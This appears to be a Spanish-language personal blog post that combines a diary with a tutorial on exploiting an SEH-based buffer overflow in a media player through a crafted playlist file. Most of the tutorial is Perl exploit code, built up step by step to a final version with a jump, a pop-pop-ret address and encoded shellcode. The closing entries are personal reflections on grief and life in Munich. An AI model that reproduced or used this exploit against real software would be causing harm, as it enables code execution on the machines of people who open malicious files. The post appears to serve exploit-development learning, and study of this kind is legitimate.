Querido Diario…

No siempre un input de usuario tiene que ser algo que entre por un formulario, como en las aplicaciones Web. A veces, un input de usuario puede ser un archivo de cualquier tipo de formato, un properties, un archivo de configuración, la salida de algo generado por otra aplicación, un archivo generado por una aplicación, que lea otra aplicación, etc, etc.. tú me entiendes. Incluso, un input puede ser el layer o skin de una aplicación.

Esos archivos al final son leídos y deben de ser sanitizados para evitar algún comportamiento no esperando, por ejemplo un BOF que puede ser explotado con SEH. Imaginemos este script en Perl para generar un archivo de prueba:

my $sploitfile="cosa.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Si esto se lo cargamos a una aplicación coff… coff… una aplicación un tanto hipotética, va a crashear y por la URL tan grande que estoy ingresando, y eso va a sobreescribir hasta el SEH chain, se vemos en el debugger podemos ver eso:

Windgb tiene (o tenía) una opción para determinar si un desboardamiento era vulnerable o no, pero tiene mucho que no logro hacer funcionar Windbg en versiones nuevas. Aunque sé que se puede, pero estoy un poco viejo 😛

Pero bueno, focus.. con lo que acabamos de ver, podemos calcular los offsets, sólo extrayendo donde se encuentra la memoria del SEH chain.

SEH: 0x39466830
nSEH: 0x67384667

Por lo tanto, para poder ajustar el script con los offsets, tendríamos algo así (las direcciones de memoria pueden varias dependiendo el Windows que esten usando).

my $totalsize=5005;
my $sploitfile="cosa.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."

Con eso nos aseguramos que el SEH se sobreescriba con un 43434343 de las CCCC, ¿entonces?, sólo hacemos un pequeño ajuste a ojo de buen cubero para meter un como de NOPs:

my $totalsize=5005;
my $sploitfile="cosa.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Ya que estamos seguros de que podemos sobreescribir y controlar perfectamentel a sobreescritura, pues sólo queda inyectarle una shellcode en lugar de toda la string malformada:

my $totalsize=5005;
my $sploitfile="cosa.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D); #pop pop ret from xaudio.dll
my $nops = "\x90" x 24;
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

¿Qué me esta pasando?, no lo sé… ayer platicando con Steven Seeley, quién recientemente se mudó a Merida, me decía «la mejor respuesta para cuando alguien te pregunta porque vives en un pueblo aburrido sin nada que hacer, es decirles que eres un security researcher, necesitas estar enfocado y sin distracciones, y por eso lo haces». Suena coherente, Münich es tan aburrido… pero le hace bien a mis habilidades; de una forma incomprensible.

- Why do you live in Münich? there are nothing to do in this little town
- I'm a bug bounty hunter... I need to be focused on my research

Querido Diario…

Hoy fuimos al cine a ver Jojo Rabbit:

Es chistoso haberla vista en alemán en Alemania…

No me gustó, porque recuerdo todas las veces que te dije que eras igual, que tus expresiones y ademanes; incluso el movimiento de tus cejas era el mismo.

Anteayer… después de todos los aplausos, las entrevistas, las fotos… nada importó. Todo eso lo había hecho para que tu te sintieses orgullosa, lo demás, estando allí, no tuvo la menor relevancia. Sin ti, ya no importa.

Aun no le digo de las llamadas… sólo le dije que rechacé las ofertas. Supongo que ella ya sabe porque, pero… aun así debo de decirle. Me disculpe también por todo este año haberme casi desaparecido, no fue justo; sin darme cuenta lo hacía para que tu no te molestases, y eso también esta mal.

Apenas son las 12:14am aquí… creo que saldré a caminar un poco, o entrar a un bar… se supone hoy debería de festejar.

Según @Tania_ con eso puedo vivir un año completo aquí… 🙁 te extraño, te amo.